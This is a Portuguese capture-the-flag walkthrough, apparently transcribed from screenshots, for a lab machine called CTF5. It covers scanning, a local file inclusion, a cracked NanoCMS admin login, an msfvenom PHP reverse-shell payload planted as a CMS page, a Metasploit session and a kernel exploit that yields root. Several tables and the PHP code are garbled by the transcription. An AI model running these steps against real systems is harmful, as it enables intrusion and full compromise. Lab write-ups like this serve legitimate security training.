CTF5

IP da máquina: 192.168.56.104 // MAC: 08:00:27:12:d8:4b

Resultados do Nmap:

nmap -sS -sV -O 192.168.56.104

Resultados do Nikto:

Nikto -h http://192.168.56.104

```
noi@kali:~# nikto -h http://192.168.56.104
Nikto v2.1.6
           Target IP:
                                                                                                       192.168.56.104
           Target Hostname:
                                                                                                       192.168.56.104
           Target Port:
                                                                                                      80
                                                                                                     2020-06-02 14:44:29 (GMT-3)
           Start Time:
           Server: Apache/2.2.6 (Fedora)
          Retrieved x-powered-by header: PHP/5.2.4
The anti-clickjacking X-Frame-Options header is not present.
The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against s
  ome forms of XSS
  ome forms of ASS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of
the site in a different fashion to the MIME type
+ Apache/2.2.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for t
 + Apache/2.2.0 appears to be structed (each of the 2.x branch.)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ /index.php: PHP include error may indicate local or remote file inclusion is possible.
+ OSVDB-12184: /7=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ Server may leak inodes via Flags, header found with file (phpmyadmin/Changelog, inodes via file via fi
  + Server may leak inodes via ETags, header found with file /phpmyadmin/ChangeLog, inode: 558008, size: 22
```

LFI:

http://192.168.56.104/?page=../../etc/passwd



Vulnerabilidade encontrada no NanoCMS:

https://www.securityfocus.com/bid/34508/exploit



Hash da senha do Admin encontrada:

http://192.168.56.104/~andy/data/pagesdata.txt



Login: admin // Senha: shannon



Exploit gerado com o msfvenom:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.101 lport=443 -f raw



Criando uma página com o payload:

View Site Logout					V0.4 NanoCMS Forums & Support Blog		
NanoCMS - Adm	nin Panel	Admin Home	New Page	Pages & Options	Content Areas	Settings	Tweakers
Add new Page							
Page Title	~index				Add Page		
Categories	Sidebar Other-pa	ages Top-1	navigation	Footer-Right			
Content							
<pre><?php /**/ error_reporting(\$f("tcp://{\$ip}:{\$port}");</th><th><pre>\$s_type = 'stream'; } i ff = 'socket_create') &6 iort); if (!\$res) { die((\$s_type) { case 'strear</pre></th><td><pre>f (!\$s && (\$f is_callable(\$); } \$s_type = n': \$len = fre \$len = \$a['le case 'socket' = \$s_type; if</pre></td><td><pre>= 'fsockopen f)) { \$s = \$ 'socket'; } ad(\$s, 4); b n']; \$b = '' : \$b .= sock (extension_</pre></td><th>') && is_callable(f(AF_INET, SOCK_ST if (!\$s_type) { d reak; case 'socket ; while (strlen(\$b et_read(\$s, \$len_s loaded('suhosin')</th><th>\$f)) { \$s = \$\overline{T}(\frac{1}{2}); REAM, SOL_TCP); ie('no socket fy': \$len = socket ': \$len = socket) < \$len) { swit trlen(\$b)); brea &&</th><td><pre>sip, \$port) \$res = uncs'); } i t_read(\$s, tch (\$s_typ ak; } }</pre></td><th>; \$s_type .f (!\$s) { 4); break; .e) { case</th></pre>	<pre>\$s_type = 'stream'; } i ff = 'socket_create') &6 iort); if (!\$res) { die((\$s_type) { case 'strear</pre>	<pre>f (!\$s && (\$f is_callable(\$); } \$s_type = n': \$len = fre \$len = \$a['le case 'socket' = \$s_type; if</pre>	<pre>= 'fsockopen f)) { \$s = \$ 'socket'; } ad(\$s, 4); b n']; \$b = '' : \$b .= sock (extension_</pre>	') && is_callable(f(AF_INET, SOCK_ST if (!\$s_type) { d reak; case 'socket ; while (strlen(\$b et_read(\$s, \$len_s loaded('suhosin')	\$f)) { \$s = \$\overline{T}(\frac{1}{2}); REAM, SOL_TCP); ie('no socket fy': \$len = socket ': \$len = socket) < \$len) { swit trlen(\$b)); brea &&	<pre>sip, \$port) \$res = uncs'); } i t_read(\$s, tch (\$s_typ ak; } }</pre>	; \$s_type .f (!\$s) { 4); break; .e) { case
Add Page							

Escuta iniciada no Metasploit e sessão aberta:

```
Metasploit tip: Use the resource command to run commands from a file

[*] Starting persistent handler(s)...
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.56.101
lhost => 192.168.56.101
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.101:443
[*] Sending stage (38288 bytes) to 192.168.56.104
[*] Meterpreter session 1 opened (192.168.56.101:443 -> 192.168.56.104:57054) at 2020-06-02 15:11:33 -030
meterpreter > ■
```

```
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux localhost.localdomain 2.6.23.1-42.fc8 #1 SMP Tue Oct 30 13:55:12 EDT 2007 i686
Meterpreter : php/linux
```

```
meterpreter > shell
Process 2724 created.
Channel 0 created.
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
```

searchsploit:

Linux Kernel 2.4/2.6

https://www.exploit-db.com/exploits/9479

```
:~# searchsploit kernel ring0
  Exploit Title
                                                                                                                                                    Path
Authentium SafeCentral 2.6 - 'shdrv.sys' Local <mark>Kernel Ring0</mark> SYSTEM
                                                                                                                        SYSTEM
                                                                                                                                                  windows/local/11232.c
DESlock+ 4.0.2 - 'dlpcrypt.sys' Local Kernel Ring0 Code Execution
DESlock+ < 3.2.6 - 'DLMFDISK.sy's Local Kernel Ring0 SYSTEM
DESlock+ < 3.2.6 - 'DLMFENC.sys' Local Kernel Ring0 link list zero (Po
DESlock+ < 3.2.6 - Local Kernel Ring0 link list zero SYSTEM
                                                                                                                                                   windows/local/8983.c
                                                                                                                                                   windows/local/5144.c
                                                                                                                                                   windows/dos/5142.c
                                                                                                                                                   windows/local/5143.c
                                                                                             Kingo SYSTEM
DESLOCK+ < 4.1.10 - 'volet Kernel Kingo tink tist
DESlock+ < 4.1.10 - 'voletoknoss' Local Kernel
Deterministic Network Enhancer - 'dne2000.sys'
                                                                                                                                                   windows/local/16138.c
windows/local/5837.c
DriveCrypt 5.3 - Local Kernel Ring0 SYSTEM
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4
Linux Kernel 2.6 < 2.6.19 (White Box 4 / Cent0S 4.4/4.5 / Fedora Core
Linux Kernel 2.x (RedHat) - 'sock_sendpage()' Ring0 Privilege Escalati
SafeNet 10.4.0.12 - 'IPSecDrv.sys' Local kernel Ring0 SYSTEM
                                                                                                                                                   windows/local/15972.c
                                                                                                                                                   linux/local/9479.c
                                                                                                                                                    linux x86/local/9542.c
                                                                                                                                                    linux/local/9435.txt
                                                                                                                                                   windows/local/5004.c
```

Copia feita do exploit e compilação:

Comandos usados no Metasploit:

```
<u>meterpreter</u> > pwd
\underline{\mathsf{meterpreter}} > \mathsf{upload} \ \mathsf{xpl}.
 *] uploading : xpl. -> xpl.
-] core_channel_open: Operation failed: 1
meterpreter > ls
Listing: /tmp
Mode
                                                           2020-06-02 14:29:27 -0300
2012-12-05 10:27:41 -0200
2012-12-05 10:19:27 -0200
41777/rwxrwxrwx
                                                                                                               .ICE-unix
40700/rwx-----
40700/rwx-----
                                  4096
                                                                                                              gconfd-patrick
gconfd-root
                                  4096
                                                           2009-04-28 10:49:09
2009-04-29 13:15:41
2009-04-29 12:46:58
                                                                                                               gnome-system-monitor.patrick.3563912106
140775/rwxrwxr-x 0
                                                                                                              mapping-andy
mapping-jennifer
mapping-loren
140775/rwxrwxr-x 0
140775/rwxrwxr-x 0
                                                                                                  -0300
                                                                                                  -0300
                                                          2009-04-29 12:40:38 -0300
2009-04-29 14:01:02 -0300
2012-12-05 10:24:23 -0200
2012-12-05 10:13:04 -0200
2020-06-02 15:26:28 -0300
2020-06-02 15:25:58 -0300
140775/rwxrwxr-x 0
140775/rwxrwxr-x 0
                                                soc
                                                                                                              mapping-patrick
140755/rwxr-xr-x 0 soc
100777/rwxrwxrwx 16072 fil
100644/rw-r--r- 3507 fil
                                                                                                              mapping-root
meterpreter > lpwd
meterpreter > shell
```

Root:

```
meterpreter > lpwd
/root
meterpreter > shell
Process 3026 created.
Channel 6 created.
gconfd-patrick
gconfd-root
gnome-system-monitor.patrick.3563912106
mapping-andy
mapping-jennifer
mapping-loren
mapping-patrick
mapping-root
xpl.
xpl.c
python -c 'import pty;pty.spawn("/bin/bash")'
bash-3.2# id
id
uid=0(root) gid=0(root) groups=48(apache) context=system u:system r:httpd t:s0
bash-3.2#
[*] 192.168.56.104 - Meterpreter session 1 closed. Reason: Died
```